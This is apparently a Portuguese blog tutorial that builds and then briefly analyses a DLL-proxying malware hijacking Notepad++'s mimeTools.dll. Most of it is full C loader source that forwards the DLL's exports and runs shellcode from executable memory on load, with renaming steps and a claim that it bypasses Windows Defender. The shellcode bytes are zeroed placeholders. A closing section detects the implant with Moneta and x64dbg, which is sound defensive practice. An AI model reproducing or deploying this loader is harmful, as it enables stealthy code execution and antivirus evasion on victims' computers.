Neste post eu vou criar e analisar um malware simples, para isso vamos estar "sequestrando" uma Dll do Notepad++.
Criação do Malware
Para sequestrar a DLL do Notepad++, primeiro precisamos identificar
quais DLLs presentes nos arquivos do Notepad++ são carregadas assim
que o programa é aberto.
Para isso podemos utilizar o ProcessMonitor, a única coisa que precisamos fazer no ProcessMonitor é colocar que o nome do processo que queremos analisar que
é o notepad++.exe
Após isso apenas temos que executar o arquivo
para ver o que o ProcessMonitor nos informa:
Como podemos ver, a Dll chamada mimeTools esta sendo carregada então vamos olhar as funções que essa Dll exporta, para isso podemos utilizar o PE-Bear:
Como podemos ver, a mimeTools.dll exporta 6 funções então vamos copiar elas para utilizar no nosso código:
#include <stdio.h>
#include <stdlib.h>
#define _CRT_SECURE_NO_DEPRECATE
#pragma warning(disable : 4996)
#pragma comment(linker, "/export:beNotified=original.beNotified,@1")
#pragma comment(linker, "/export:getFuncsArray=original.getFuncsArray,@2")
#pragma comment(linker, "/export:getName=original.getName,@3")
#pragma comment(linker, "/export:isUnicode=original.isUnicode,@4")
#pragma comment(linker, "/export:messageProc=original.messageProc,@5")
#pragma comment(linker, "/export:setInfo=original.setInfo,@6")
void LoadShellcodeIntoMemory() {
unsigned char Shellcode[176] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
size_t size = sizeof(Shellcode);
void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (exec != NULL) {
memcpy(exec, Shellcode, size);
((void(*)())exec)();
}
}
DWORD WINAPI DoMagic(LPVOID lpParameter)
{
LoadShellcodeIntoMemory();
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
HANDLE threadHandle;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);
CloseHandle(threadHandle);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Bom agora a única coisa que vamos precisar fazer é renomear nosso DllProxy.dll para mimeTools.dll e renomear a mimeTools.dll para original.dll, e pronto agora quando executarmos o Notepad++.exe ele vai carregar nossa dll maliciosa, vamos testar isso:
Como podemos observar, além de funcionar perfeitamente, contornamos o Windows-Defender.
Análise do Malware
Para encontrar esse malware vou estar utilizando o Moneta e o x64dbg.
Vamos então executar o Notepad++ e analisar o processo do Notepad++com o Moneta:
Agora pegamos o endereço de memória que o moneta nos entregou, e no X64.dbg anexamos o Notepad++, para ir para esse endereço de memória entregue pelo Monteta, então seguimos no despejo do x64dbg para poder então dumpar o conteudo para poder analisar com o VirusTotal:
Por fim, concluímos mais uma análise de malware simples, utilizando ferramentas que podem ser muito úteis em casos específicos.